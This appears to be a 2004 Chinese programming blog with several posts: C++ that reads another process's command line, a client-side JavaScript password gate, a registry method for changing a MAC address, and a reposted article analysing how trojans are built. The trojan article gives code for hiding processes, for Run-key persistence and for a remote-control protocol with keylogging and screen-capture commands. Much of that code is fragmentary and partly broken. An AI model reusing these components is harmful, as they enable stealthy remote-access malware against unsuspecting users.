2004年09月30日

ILSY:
这个程序可以得到其他进程的命令行参数。
// procmdline.cpp (Windows NT/2000)
//
// This example shows how to get the command line for almost any process
// on the system for Windows NT/2000
//
//
// (c)1999 Ashot Oganesyan K, SmartLine, Inc
// mailto:ashot@aha.ru, http://www.protect-me.com, http://www.codepile.com

#include <windows.h>
#include <stdio.h>

#define ProcessBasicInformation 0

typedef struct
{
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef struct
{
    ULONG          AllocationSize;
    ULONG          ActualSize;
    ULONG          Flags;
    ULONG          Unknown1;
    UNICODE_STRING Unknown2;
    HANDLE         InputHandle;
    HANDLE         OutputHandle;
    HANDLE         ErrorHandle;
    UNICODE_STRING CurrentDirectory;
    HANDLE         CurrentDirectoryHandle;
    UNICODE_STRING SearchPaths;
    UNICODE_STRING ApplicationName;
    UNICODE_STRING CommandLine;
    PVOID          EnvironmentBlock;
    ULONG          Unknown[9];
    UNICODE_STRING Unknown3;
    UNICODE_STRING Unknown4;
    UNICODE_STRING Unknown5;
    UNICODE_STRING Unknown6;
} PROCESS_PARAMETERS, *PPROCESS_PARAMETERS;

typedef struct
{
    ULONG               AllocationSize;
    ULONG               Unknown1;
    HINSTANCE           ProcessHinstance;
    PVOID               ListDlls;
    PPROCESS_PARAMETERS ProcessParameters;
    ULONG               Unknown2;
    HANDLE              Heap;
} PEB, *PPEB;

typedef struct
{
    DWORD ExitStatus;
    PPEB  PebBaseAddress;
    DWORD AffinityMask;
    DWORD BasePriority;
    ULONG UniqueProcessId;
    ULONG InheritedFromUniqueProcessId;
}   PROCESS_BASIC_INFORMATION;

// ntdll!NtQueryInformationProcess (NT specific!)
//
// The function copies the process information of the
// specified type into a buffer
//
// NTSYSAPI
// NTSTATUS
// NTAPI
// NtQueryInformationProcess(
//    IN HANDLE ProcessHandle,              // handle to process
//    IN PROCESSINFOCLASS InformationClass, // information type
//    OUT PVOID ProcessInformation,         // pointer to buffer
//    IN ULONG ProcessInformationLength,    // buffer size in bytes
//    OUT PULONG ReturnLength OPTIONAL      // pointer to a 32-bit
//                                          // variable that receives
//                                          // the number of bytes
//                                          // written to the buffer
// );
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);

PROCNTQSIP NtQueryInformationProcess;

BOOL GetProcessCmdLine(DWORD dwId,LPWSTR wBuf,DWORD dwBufLen);

void main(int argc, char* argv[])
{
    if (argc<2)
    {
       printf(“Usage:\n\ncmdline.exe ProcId\n”);
       return;
    }

    NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(
                                            GetModuleHandle(“ntdll”),
                                            ”NtQueryInformationProcess”
                                            );

    if (!NtQueryInformationProcess)
       return;

    DWORD dwId;
    sscanf(argv[1],”%lu”,&dwId);

    WCHAR wstr[255];

    if (GetProcessCmdLine(dwId,wstr,sizeof(wstr)))
       wprintf(L”Command line for process %lu is:\n%s\n”,dwId,wstr);
    else
       wprintf(L”Could not get command line!”);

}

BOOL GetProcessCmdLine(DWORD dwId,LPWSTR wBuf,DWORD dwBufLen)
{
    LONG                      status;
    HANDLE                    hProcess;
    PROCESS_BASIC_INFORMATION pbi;
    PEB                       Peb;
    PROCESS_PARAMETERS        ProcParam;
    DWORD                     dwDummy;
    DWORD                     dwSize;
    LPVOID                    lpAddress;
    BOOL                      bRet = FALSE;

    // Get process handle
    hProcess = OpenProcess(PROCESS_QUERY_INFORMATION|PROCESS_VM_READ,FALSE,dwId);
    if (!hProcess)
       return FALSE;

    // Retrieve information
    status = NtQueryInformationProcess( hProcess,
                                        ProcessBasicInformation,
                                        (PVOID)&pbi,
                                        sizeof(PROCESS_BASIC_INFORMATION),
                                        NULL
                                      );

    if (status)
       goto cleanup;

    if (!ReadProcessMemory( hProcess,
                            pbi.PebBaseAddress,
                            &Peb,
                            sizeof(PEB),
                            &dwDummy
                          )
       )
       goto cleanup;

    if (!ReadProcessMemory( hProcess,
                            Peb.ProcessParameters,
                            &ProcParam,
                            sizeof(PROCESS_PARAMETERS),
                            &dwDummy
                          )
       )
       goto cleanup;

    lpAddress = ProcParam.CommandLine.Buffer;
    dwSize = ProcParam.CommandLine.Length;

    if (dwBufLen<dwSize)
       goto cleanup;

    if (!ReadProcessMemory( hProcess,
                            lpAddress,
                            wBuf,
                            dwSize,
                            &dwDummy
                          )
       )
       goto cleanup;

    bRet = TRUE;

cleanup:

    CloseHandle (hProcess);

    
    return bRet;
}

tombkeeper:
PEB结构中的ProcessParameters->CommandLine是个UNICODE_STRING,就是命令行。用ReadProcessMemory()读取就可以了。

1、从 fs:0定位PEB
2、PEB偏移0×10是ProcessParameters
3、ProcessParameters偏移0×40是CommandLine

tombkeeper:
不同版本的NT,PEB结构未必相同,可能需要区别对待。
还是ILSY的办法比较堂堂正正一点。

2004年09月29日
<script>

var pass=new Array()var t3=""var lim=5pass[0]="TLE7rryabR3xEPn"pass[1]="i1d31OpScFy5ppz"pass[2]="LZx6UMIlAaj63gs"pass[3]="XNYWYF9Vyvf7rf"pass[4]="6Wlxgt5RB50Gl3RI"pass[5]="56Wlxgt5RB50Gl3R"

var extension=".htm"var enablelocking=0var numletter="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"var temp3=''var cur=0

function max(which){return (pass[Math.ceil(which)+(3&15)].substring(0,1))}

function testit(input){temp=numletter.indexOf(input)var temp2=temp^parseInt(pass[phase1-1+(1|3)].substring(0,2))temp2=numletter.substring(temp2,temp2+1)return (temp2)}

function submitentry(){t3=''verification=document.password1.password2.valuephase1=Math.ceil(Math.random())-6+(2<<2)var indicate=truefor (i=(1&2);i<window.max(Math.LOG10E);i++)t3+=testit(verification.charAt(i))for (i=(1&2);i<lim;i++){if (t3.charAt(i)!=pass[phase1+Math.round(Math.sin(Math.PI/2)-1)].charAt(i))indicate=false}if (verification.length!=window.max(Math.LOG10E))indicate=falseif (indicate)window.location=verification+extensionelsealert("密码错误,请再输入!")}</script>

<table border="1" cellspacing="0" cellpadding="0" width="393" style="border-collapse: collapse" bordercolor="#111111" height="231" bgcolor="#ECE9D8"> <tr> 会员帐号: <input name="user" size="15" style="border-style: solid; border-width: 1px">  会员密码:  <input type="password" name="password2" size="15" style="border: 1px solid #000000"> <input type="button" value="会员登陆" onClick="submitentry()">  </td> </tr></table>
2004年09月28日

更改MAC地址

E-BADBOY

  更改MAC其实有很多方法,编程就可以彻底的实现,但是有点复杂,而且如果修改不好很容易出错,容易造成网卡报废,改前还要记住你的MAC地址.我们可以把这种方法叫做”硬性方法”(直接对硬件影响);在相对的世界中有硬就有软,”软性方法”很有代表 性的是在WINDOWS平台上通过注册表更改,只是更改缓存中存放的地址这,种方法简单易懂,没什么危险.

可以先察看下MAC地址

IPCONFIG -ALL 里的 Physical Address

打开regedit 在

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}\0000\Ndi\Params

下新建名为 NetworkAddress 的项

在NetworkAddress下继续添加一个名为 ParamDesc 的字串值,其作为NetworkAddress项的描述,其值可为 “MAC Address”

OK,现在可以在 连接属性 网卡配置(属性) 高级 MAC Address 里更改MAC地址 如图

注意:在”值”里更改的MAC必须是16位的12个值.(这是MAC地址规则 例如: 00-88-DD-DA-34-CA);更改时不用填写”-”.

好,让我们改一广播来看看:

在”值”里填写”FFFFFFFFFFFF” 确定 再在命令行下输入 IPCONFIG -ALL 可以看到”Physical Address. . . . . . . . . : FF-FF-FF-FF-FF-FF” 这样就修改好了.

 

好,现在谈谈恢复

改回原来的地址(如果你前面有记录的话) 或 删除掉

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}\0000\Ndi\params\NetworkAddress

和 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}\0000 下的 “NetworkAddress”

断开连接再重新连接或restart即可恢复.

注:只对win nt/2000/xp有效

www.hACKk.net

2004年09月27日

首先在Form上放置一个RichEdit。

在窗体的构造函数中添加以下代码:
__fastcall TMainForm::TMainForm(TComponent* Owner)
        : TForm(Owner)
{
    unsigned mask = SendMessage(RichEdit1->Handle, EM_GETEVENTMASK, 0, 0);
    SendMessage(RichEdit1->Handle, EM_SETEVENTMASK, 0, mask | ENM_LINK);
    SendMessage(RichEdit1->Handle, EM_AUTOURLDETECT, true, 0);  //自动检测URL

    RichEdit1->Text = “欢迎访问C++ Builder\n”
                       ”网址: http://www.ccrun.com\n”
                       ”偶的信箱:\n”
                      ”mailto::info@ccrun.com \n”
                       ”嘿嘿\n”;
}

重载窗体的WndProc

1。在.h中添加:

   protected:
      virtual void __fastcall WndProc(Messages::TMessage &Message);

2。在.cpp中添加:
//—————————————————————————
void __fastcall TMainForm::WndProc(Messages::TMessage &Message)
{
    if (Message.Msg == WM_NOTIFY)
    {
        if (((LPNMHDR)Message.LParam)->code == EN_LINK)
        {
            ENLINK* p = (ENLINK *)Message.LParam;
            if (p->msg == WM_LBUTTONDOWN)
           {
                SendMessage(RichEdit1->Handle, EM_EXSETSEL, 0, (LPARAM)&(p->chrg));
                ShellExecute(Handle, “open”, RichEdit1->SelText.c_str(), 0, 0, SW_SHOWNORMAL);
            }
        }
    }
    TForm::WndProc(Message);
}

以上代码均已测试通过。

透视特洛伊木马程序开发技术(转)
转:纯真CZ88.NET

  近年来,黑客技术不断成熟起来,对网络安全造成了极大的威胁,黑客的主要攻击手段之一,就是使用木马技术,渗透到对方的主机系统里,从而实现对 远程操作目标主机。 其破坏力之大,是绝不容忽视的,黑客到底是如何制造了这种种具有破坏力的木马程序呢,下面我对木马进行源代码级的详细的分析,让我们对木马的开发技术做一 次彻底的透视,从了解木马技术开始,更加安全的管理好自己的计算机。

  1、木马程序的分类

  木马程序技术发展至今,已经经历了4代,第一代,即是简单的密码窃取,发送等,没有什么特别之处。第二代木马,在技术上有了很大的进步,冰河可 以说为是国内木马的典型代表之一。第三代木马在数据传递技术上,又做了不小的改进,出现了ICMP等类型的木马,利用畸形报文传递数据,增加了查杀的难 度。第四代木马在进程隐藏方面,做了大的改动,采用了内核插入式的嵌入方式,利用远程插入线程技术,嵌入DLL线程。或者挂接PSAPI,实现木马程序的 隐藏,甚至在Windows NT/2000下,都达到了良好的隐藏效果。相信,第五代木马很快也会被编制出来。关于更详细的说明,可以参考ShotGun的文章《揭开木马的神秘面 纱》。

   2.木马程序的隐藏技术

  木马程序的服务器端,为了避免被发现,多数都要进行隐藏处理,下面让我们来看看木马是如何实现隐藏的。

  说到隐藏,首先得先了解三个相关的概念:进程,线程和服务。我简单的解释一下。

  进程:一个正常的Windows应用程序,在运行之后,都会在系统之中产生一个进程,同时,每个进程,分别对应了一个不同的PID (Progress ID, 进程标识符)这个进程会被系统分配一个虚拟的内存空间地址段,一切相关的程序操作,都会在这个虚拟的空间中进行。

  线程:一个进程,可以存在一个或多个线程,线程之间同步执行多种操作,一般地,线程之间是相互独立的,当一个线程发生错误的时候,并不一定会导致整个进程的崩溃。

  服务:一个进程当以服务的方式工作的时候,它将会在后台工作,不会出现在任务列表中,但是,在Windows NT/2000下,你仍然可以通过服务管理器检查任何的服务程序是否被启动运行。

  想要隐藏木马的服务器端,可以伪隐藏,也可以是真隐藏。伪隐藏,就是指程序的进程仍然存在,只不过是让他消失在进程列表里。真隐藏则是让程序彻底的消失,不以一个进程或者服务的方式工作。

  伪隐藏的方法,是比较容易实现的,只要把木马服务器端的程序注册为一个服务就可以了,这样,程序就会从任务列表中消失了,因为系统不认为他是一 个进程,当按下Ctrl+Alt+Delete的时候,也就看不到这个程序。但是,这种方法只适用于Windows9x的系统,对于Windows NT,Windows 2000等,通过服务管理器,一样会发现你在系统中注册过的服务。难道伪隐藏的方法就真的不能用在Windows NT/2000下了吗?当然还有办法,那就是API的拦截技术,通过建立一个后台的系统钩子,拦截PSAPI的EnumProcessModules等相 关的函数来实现对进程和服务的遍历调用的控制,当检测到进程ID(PID)为木马程序的服务器端进程的时候直接跳过,这样就实现了进程的隐藏,金山词霸等 软件,就是使用了类似的方法,拦截了TextOutA,TextOutW函数,来截获屏幕输出,实现即时翻译的。同样,这种方法也可以用在进程隐藏上。

   当进程为真隐藏的时候,那么这个木马的服务器部分程序运行之后,就不应该具备一般进程,也不应该具备服务的,也就是说,完全的溶进了系统的内核。也许你会 觉得奇怪,刚刚不是说一个应用程序运行之后,一定会产生一个进程吗?的确,所以我们可以不把他做成一个应用程序,而把他做为一个线程,一个其他应用程序的 线程,把自身注入其他应用程序的地址空间。而这个应用程序对于系统来说,是一个绝对安全的程序,这样,就达到了彻底隐藏的效果,这样的结果,导致了查杀黑 客程序难度的增加。

  出于安全考虑,我只给出一种通过注册服务程序,实现进程伪隐藏的方法,对于更复杂,高级的隐藏方法,比如远程线程插入其他进程的方法,请参阅ShotGun的文章《NT系统下木马进程的隐藏与检测》。

  WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)

  {

  try

  {

  DWORD dwVersion = GetVersion();  //取得Windows的版本号

  if (dwVersion >= 0×80000000)   // Windows 9x隐藏任务列表

  {

   int (CALLBACK *rsp)(DWORD,DWORD);

   HINSTANCE dll=LoadLibrary(“KERNEL32.DLL”);  //装入KERNEL32.DLL

   rsp=(int(CALLBACK *)(DWORD,DWORD))GetProcAddress(dll,”RegisterServiceProcess”);  //找到RegisterServiceProcess的入口

   rsp(NULL,1);  //注册服务

   FreeLibrary(dll);  //释放DLL模块

  }

  }

  catch (Exception &exception)  //处理异常事件

  {

  //处理异常事件

  }

  return 0;

  3、程序的自加载运行技术

  让程序自运行的方法比较多,除了最常见的方法:加载程序到启动组,写程序启动路径到注册表的HKEY_LOCAL_MACHINE\ SOFTWARE\Microsoft\Windows\CurrentVersions\Run的方法外,还有很多其他的办法,据yagami讲,还有 几十种方法之多,比如可以修改Boot.ini,或者通过注册表里的输入法键值直接挂接启动,通过修改Explorer.exe启动参数等等的方法,真的 可以说是防不胜防,下面展示一段通过修改HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\ CurrentVersions\Run键值来实现自启动的程序:

  自装载部分:

  HKEY hkey;

  AnsiString NewProgramName=AnsiString(sys)+AnsiString(“+PName/”>\\”)+PName

  unsigned long k;

  k=REG_OPENED_EXISTING_KEY;

  RegCreateKeyEx(HKEY_LOCAL_MACHINE,

  ”SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\\”,

  0L,

  NULL,

  REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS|KEY_SET_VALUE,

  NULL,

  &hkey,&k);

   RegSetValueEx(hkey,

  ”BackGroup”,

  0,

  REG_SZ,

  NewProgramName.c_str(),

  NewProgramName.Length());

  RegCloseKey(hkey);

  if (int(ShellExecute(Handle,

  ”open”,

  NewProgramName.c_str(),

  NULL,

  NULL,

  SW_HIDE))>32)

  {

   WantClose=true;

  Close();

  }

  else

  {

  HKEY hkey;

  unsigned long k;

  k=REG_OPENED_EXISTING_KEY;

  long a=RegCreateKeyEx(HKEY_LOCAL_MACHINE,

  ”SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN”,

  0,

  NULL,

  REG_OPTION_NON_VOLATILE,

  KEY_SET_VALUE,NULL,

  &hkey,&k);

  RegSetValueEx(hkey,

  ”BackGroup”,

  0,

  REG_SZ,

  ProgramName.c_str(),

  ProgramName.Length());

  int num=0;

  char str[20];

  DWORD lth=20;

  DWORD type;

  char strv[255];

  DWORD vl=254;

  DWORD Suc;

  do{

  Suc=RegEnumValue(HKEY_LOCAL_MACHINE,

  (DWORD)num,str,

  NULL,

  &type,

  strv,&vl);

  if (strcmp(str,”BGroup”)==0)

  {

   DeleteFile(AnsiString(strv));

   RegDeleteValue(HKEY_LOCAL_MACHINE,”BGroup”);

   break;

  }

  }while(Suc== ERROR_SUCCESS);

  RegCloseKey(hkey);

  }

  自装载程序的卸载代码:

  int num;

  char str2[20];

  DWORD lth=20;

  DWORD type;

  char strv[255];

  DWORD vl=254;

  DWORD Suc;

  do{

  Suc=RegEnumValue(HKEY_LOCAL_MACHINE,

  (DWORD)num,

  str,

  NULL,

  &type,

  strv,

  &vl);

  if (strcmp(str,”BGroup”)==0)

  {

   DeleteFile(AnsiString(strv));

   RegDeleteValue(HKEY_LOCAL_MACHINE,”BGroup”);

   break;

  }

  }while(Suc== ERROR_SUCCESS)

  HKEY hkey;

  unsigned long k;

  k=REG_OPENED_EXISTING_KEY;

   RegCreateKeyEx(HKEY_LOCAL_MACHINE,

  ”SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN”,

  0,

  NULL,

  REG_OPTION_NON_VOLATILE,

  KEY_SET_VALUE,NULL,

  &hkey,

  &k);

  do{

  Suc=RegEnumValue(hkey,(DWORD)num,str,  if (strcmp(str,”BackGroup”)==0)

  {

  DeleteFile(AnsiString(strv));

  RegDeleteValue(HKEY_LOCAL_MACHINE,”BackGroup”);

  break;

  }

  }while(Suc== ERROR_SUCCESS)

  RegCloseKey(hkey);

  其中自装载部分使用C++ Builder可以这样写,会比较简化:

  TRegistry & regKey = *new TRegistry();

  regKey.RootKey=HKEY_LOCAL_MACHINE;

  regKey.OpenKey(“Software\\Microsoft\\Windows\\CurrentVersion\\Run”,true);

  if(!regKey.ValueExists(“Interbase Server”))

  {

  regKey.WriteString(“Interbase Server”,

  ”D:\\Program Files\\Borland\\IntrBase\\BIN\\ibserver.exe”);

  }

  regKey.CloseKey();

  delete &regey;

  4、木马程序的建立连接的隐藏

  木马程序的数据传递方法有很多种,其中最常见的要属TCP,UDP传输数据的方法了,通常 是利用Winsock与目标机的指定端口建立起连接,使用send和recv等API进行数据的传递,但是由于这种方法的隐蔽性比较差,往往容易被一些工 具软件查看到,最简单的,比如在命令行状态下使用netstat命令,就可以查看到当前的活动TCP,UDP连接。

  C:\Documents and Settings\bigball>netstat -n

  Active Connections

   Proto Local Address Foreign Address State

   TCP 192.0.0.9:1032 64.4.13.48:1863 ESTABLISHED

   TCP 192.0.0.9:1112 61.141.212.95:80 ESTABLISHED

   TCP 192.0.0.9:1135 202.130.239.223:80 ESTABLISHED

   TCP 192.0.0.9:1142 202.130.239.223:80 ESTABLISHED

   TCP 192.0.0.9:1162 192.0.0.8:139 TIME_WAIT

   TCP 192.0.0.9:1169 202.130.239.159:80 ESTABLISHED

   TCP 192.0.0.9:1170 202.130.239.133:80 TIME_WAIT

  C:\Documents and Settings\bigball>netstat -a

  Active Connections

   Proto Local Address Foreign Address State

   TCP Liumy:echo Liumy:0 LISTENING

   TCP Liumy:discard Liumy:0 LISTENING

   TCP Liumy:daytime Liumy:0 LISTENING

   TCP Liumy:qotd Liumy:0 LISTENING

   TCP Liumy:chargen Liumy:0 LISTENING

   TCP Liumy:epmap Liumy:0 LISTENING

   TCP Liumy:microsoft-ds Liumy:0 LISTENING

   TCP Liumy:1025 Liumy:0 LISTENING

   TCP Liumy:1026 Liumy:0 LISTENING

   TCP Liumy:1031 Liumy:0 LISTENING

   TCP Liumy:1032 Liumy:0 LISTENING

   TCP Liumy:1112 Liumy:0 LISTENING

   TCP Liumy:1135 Liumy:0 LISTENING

   TCP Liumy:1142 Liumy:0 LISTENING

   TCP Liumy:1801 Liumy:0 LISTENING

   TCP Liumy:3372 Liumy:0 LISTENING

   TCP Liumy:3389 Liumy:0 LISTENING

   TCP Liumy:netbios-ssn Liumy:0 LISTENING

   TCP Liumy:1028 Liumy:0 LISTENING

   TCP Liumy:1032 msgr-ns19.msgr.hotmail.com:1863 ESTAB

   TCP Liumy:1112 szptt61.141.szptt.net.cn:http ESTABLI

   TCP Liumy:1135 202.130.239.223:http ESTABLISHED

   TCP Liumy:1142 202.130.239.223:http ESTABLISHED

   TCP Liumy:1162 W3I:netbios-ssn TIME_WAIT

   TCP Liumy:1170 202.130.239.133:http TIME_WAIT

   TCP Liumy:2103 Liumy:0 LISTENING

   TCP Liumy:2105 Liumy:0 LISTENING

   TCP Liumy:2107 Liumy:0 LISTENING

   UDP Liumy:echo *:*

   UDP Liumy:discard *:*

   UDP Liumy:daytime *:*

   UDP Liumy:qotd *:*

   UDP Liumy:chargen *:*

   UDP Liumy:epmap *:*

   UDP Liumy:snmp *:*

   UDP Liumy:microsoft-ds *:*

   UDP Liumy:1027 *:*

   UDP Liumy:1029 *:*

   UDP Liumy:3527 *:*

   UDP Liumy:4000 *:*

   UDP Liumy:4001 *:*

   UDP Liumy:1033 *:*

   UDP Liumy:1148 *:*

   UDP Liumy:netbios-ns *:*

   UDP Liumy:netbios-dgm *:*

   UDP Liumy:isakmp *:*

   但是,黑客还是用种种手段躲避了这种侦察,就我所知的方法大概有两种,一种是合并端口法,也就是说,使用特殊的手段,在一个端口上同时绑定两个TCP或 者UDP连接,这听起来不可思议,但事实上确实如此,而且已经出现了使用类似方法的程序,通过把自己的木马端口绑定于特定的服务端口之上,(比如80端口 的HTTP,谁怀疑他会是木马程序呢?)从而达到隐藏端口的目地。另外一种办法,是使用ICMP(Internet Control Message Protocol)协议进行数据的发送,原理是修改ICMP头的构造,加入木马的控制字段,这样的木马,具备很多新的特点,不占用端口的特点,使用户难以 发觉,同时,使用ICMP可以穿透一些防火墙,从而增加了防范的难度。之所以具有这种特点,是因为ICMP不同于TCP,UDP,ICMP工作于网络的应 用层不使用TCP协议。关于网络层次的结构,下面给出图示:

   网络层次结构图

  5、发送数据的组织方法

  关于数据的组织方法,可以说是数学上的问题。关键在于传递数据的可靠性,压缩性,以及高效行。木马程序,为了避免被发现,必须很好的控制数据传输量,一个编制较好的木马,往往有自己的一套传输协议,那么程序上,到底是如何组织实现的呢?下面,我举例包装一些协议:

  typedef struct{ //定义消息结构

  //char ip[20];

  char Type; //消息种类

  char Password[20]; //密码

  int CNum; //消息操作号

  //int Length; //消息长度

  }Msg;

  #define MsgLen sizeof(Msg)

  //——————————————-

  //对话框数据包定义:Dlg_Msg_Type.h

  //——————————————-

  //定义如下消息类型:

  #define MsgDlgCommon 4//连接事件

  #define MsgDlgSend 5//发送完成事件

  //消息结构

  typedef struct{

   char Name[20];//对话框标题

   char Msg[256];//对话框消息内容

  }MsgDlgUint;

  #define MsgDlgLen sizeof(MsgDlgUint)//消息单元长度

  //——————————————

  //聊天数据包定义:Chat_Msg_Type.h

  //——————————————

  //定义如下消息类型:

  #define MsgChatCommon 0//连接事件

  #define MsgChatConnect 1//接入事件

  #define MsgChatEscept 2//结束事件

  #define MsgChatReceived 16//确认对话内容收到

  //消息结构

  typedef struct{

   char ClientName[20];//Client自定义的名称

   char Msg[256];//发送的消息

  }MsgChatUint;

  #define MsgChatLen sizeof(MsgChatUint)//消息单元长度

  //——————————————

  //重启数据包定义:Reboot_Msg_Type.h

  //——————————————

  //定义如下消息类型:

  #define MsgReBoot 15//重启事件

  //——————————————

  //目录结构请求数据包定义:Dir_Msg_Type.h

  //——————————————

  //定义如下消息类型:

  #define MsgGetDirInfo 17

  #define MsgReceiveGetDirInfo 18

  typedef struct{

  char Dir[4096];//你要的目录名

  }MsgDirUint;

  #define MsgDirUintLen sizeof(MsgDirUint)

  // TCP的Msg

  typedef struct{ //定义消息结构

  char SType; //消息种类

  char SPassword[20]; //密码

  //int SNum; //消息操作号

  char *AllMsg;

  }SMsg;

  #define SMsgLen sizeof(SMsg)

  #define MSGListProgram 19

  #define MSGFlyMouse 21

  #define MSGGoWithMouse 22

  #define MSGSaveKey 23

  #define MSGTracekey 24

  #define MsgCopyScreen 25//tcp接收消息,udp请求消息

  #define MSGCopyWindow 26

  //————————-

  //鼠标指针隐藏和显示控制

  //————————-

  #define MsgSetMouseStat 27//设置消息

  #define MsgMouseStat 28//成功消息

  typedef struct{

  bool mouseshow;

  }MsgSetMouseStatUint;

  #define MsgSetMouseStatUintLen sizeof(MsgSetMouseStatUint)

  //————————-

  //任务栏隐藏和显示控制

  //————————-

  #define MsgSetTaskBarStat 29//设置消息

  #define MsgTaskBarStat 30//成功消息

  typedef struct{

  bool taskshow;

  }MsgSetTaskBarStatUint;

  #define MsgSetTaskBarStatUintLen sizeof(MsgSetTaskBarStatUint)

  //————————-

  //得到机器名

  //————————-

  #define MsgGetNetBiosName 31//取请求

  #define MsgNetBiosName 32//回送机器名

  typedef struct{

  char NetBiosName[128];

  }MsgNetBiosNameUint;

  #define MsgNetBiosNameUintLen sizeof(MsgNetBiosNameUint)

  //————————-

  //关闭进程变更!

  //————————-

  #define MsgSetProgramClose 33//关闭请求

  #define MsgProgramClosed 34//成功消息—–

  typedef struct{

  char ProgramName[4096];//old struct : char ProgramName[128];//要关闭的窗口的名字

  }MsgSetProgramCloseUint;

  #define MsgSetProgramCloseUintLen sizeof(MsgSetProgramCloseUint)

  //————————-

  //打开进程变更!

  //————————-

  #define MsgSetProgramOpen 20//打开请求

  #define MsgProgramOpened 36//成功消息

  typedef struct{

  char ProgramName[4096]; //old struct : char ProgramName[128];//要打开的程序的名字

  bool ProgramShow;//前台运行或后台运行程序(隐藏运行)

  }MsgSetProgramOpenUint;

  #define MsgSetProgramOpenUintLen sizeof(MsgSetProgramOpenUint)

  #define MsgGetHardWare 35//请求硬件信息(UDP消息)和回传硬件信息(TCP消息)

   上面一段定义,使用了TCP和UDP两种协议目的就是为了减少TCP连接的几率,这样所消耗的系统资源就会比较少,不容易让目标机察觉。很多木马程序 中,都有像上面定义中类似的密码定义,目地是为了防止非真实客户机的连接请求。SNum 为消息操作号,它的作用是为了效验数据是否是发送过的,经过分析而知,我们熟悉的OICQ也正是使用了这一办法来校验消息的。

  数据协议组织好,还有一步工作,就是数据的打包发送,一般的方法是把全部数据压为一个VOID类型的数据流,然后发送:

  Msg *msg=new Msg;

  TMemoryStream *RData=new TMemoryStream;

  NMUDP1->ReadStream(RData);

  RData->Read(msg,sizeof(Msg));

  UdpConnect *udpconnect=new UdpConnect;

  NetBiosName *netbiosname=new NetBiosName;

  if(msg->CNum==CNumBak)

  return;

  else{

  CNumBak=msg->CNum;

  switch(msg->Type)

  {

  case 0://MsgUdpConnect

  RData->Read(udpconnect,sizeof(UdpConnect));

  checkuser(udpconnect->IsRight);

  break;

  case 1:

  RData->Read(netbiosname,sizeof(NetBiosName));

  AnsiString jqm=”机器名 “;

  jqm+=(AnsiString)netbiosname->NetBiosName;

  Memo2->Lines->Add(jqm);

  break;

  }

  }

  当服务器端收到数据后,首先要做的工作是解包还原VOID流为结构化的协议,这里同样给出事例代码:

  NMUDP1->RemoteHost=FromIP;

  NMUDP1->RemotePort=Port;

  TMemoryStream *RData=new TMemoryStream;

  NMUDP1->ReadStream(RData);

  Msg *msg=new Msg;

  RData->Read(msg,sizeof(Msg));

  if(msg->CNum==CNumBak)

  return;

  else

  {

  CNumBak=msg->CNum;

  switch(msg->Type)

  {

  case 0:

  checkuser(msg->Password);

  break;

  case 1:

  GetNetBiosName();

  break;

  case 2:

  CheckHard();

  break;

  }

  }

  此外,很多木马程序支持了屏幕回传的功能,其根本的原理是先捕获屏幕画面,然后回传给客户机,由于画面的数据量很大所以,很多木马程序都是在画面改变的时候才回传改变部分的画面,常用的手段是最小矩形法,下面以好友“古老传说”的一段算法举例:

  #define MAXXCount 10 //屏幕X方向最多分割块数

  #define MAXYCount 5 //… Y…………….

  #define DestNum 1000 //每块的偏移检测点最大个数

  COLORREF Colors[MAXXCount][MAXYCount][DestNum];

  COLORREF BakColors[MAXXCount]{MAXYCount][DestNum];

  TPoint Dests[DestNum];

  int Sw;

  int Sh;

  int xCount;

  int yCount;

  int ItemWidth;

  int ItemHeight;

  int Dnum;

  int Qlity;

  //得到消息后执行:

  //另外:接收到的数据包中分析出 Dnum ,Qlity

  //Dnum:偏移观测点数量

  //Qlity:图象要求质量

  __fastcall TForm1::CopyScreen(int DNum,int Qlity){

  ItemWidth=Sw/xCount;

  ItemHeight=Sh/yCount;

  Sw=Screen->Width;

  Sh=Screen->Height;

  xCount=(Sw>1000)?8:6;

  yCount=(Sh>1000)?3:2;

  for (int num1=0;num1 Dests[num1].x=random(ItemWidth);

  Dests[num1].y=random(ItemHeight);

  }

  CatchScreen(DNum,Qlity);

  }

  //收到刷屏消息后只执行:

  CatchScreen(DNum,Qlity);

  __fastcall TForm1::CatchScreen(int DNum,int Qlity){

  //函数功能:扫描改变的屏幕区域,并切经过优化处理,最后发送这些区域数据

  //DNum: 偏移量 Qlity:图象质量

  HDC dc=GetDC(GetDesktopWindow());

  Graphics::TBitmap *bm=new Graphics::TBitmap;

  bm->Width=Sw;

  bm->Height=Sh;

  BitBlt(bm->Canvas->Handle,0,0,Sw-1,Sh-1,dc,0,0);

  int num1,num2,num3;

  int nowx,nowy;

  bool Change;

  bool ItemChange[MAXXCount][MAXYCount];

  for (num1=0;num1 nowx=ItemWidth*num1;

  for (num2=0;num2 nowy=ItemHeight*num2;

  Change=false;

  for (num3=0;num3 Colors[num1][num2][num3]=bm->Canvas->Pixels[nowx+Dests[num3].x][nowy+Dests[num3].y];

  if (Colors[num1][num2][num3]!=BakColors[num1][num2][num3]){

  BakColors[num1][num2][num3]=Colors[num1][num2][num3];

  ItemChange[num1][num2]=true;

  }

  }

  }

  }

  int CNum,MaxCNum;

  int ChangedNum=0;

  TRect *Rect;

  int num4;

  int MinSize=10000;

  int m;

  TRect MinRect;

  Graphics::TBitmap *bt2=new Graphics::TBitmap;

  TJPEGImage *j=new TJPEGImage;

  //************************

  j->Quality=Qlity;

  //************************

  CopyScreenUint CopyScreen;

  CopyScreenItemUint CopyScreenItem;

  TMemoryStream *ms=new TMemoryStream;

  ms->Write(&TcpMsg,sizeof(TcpMsgUint));

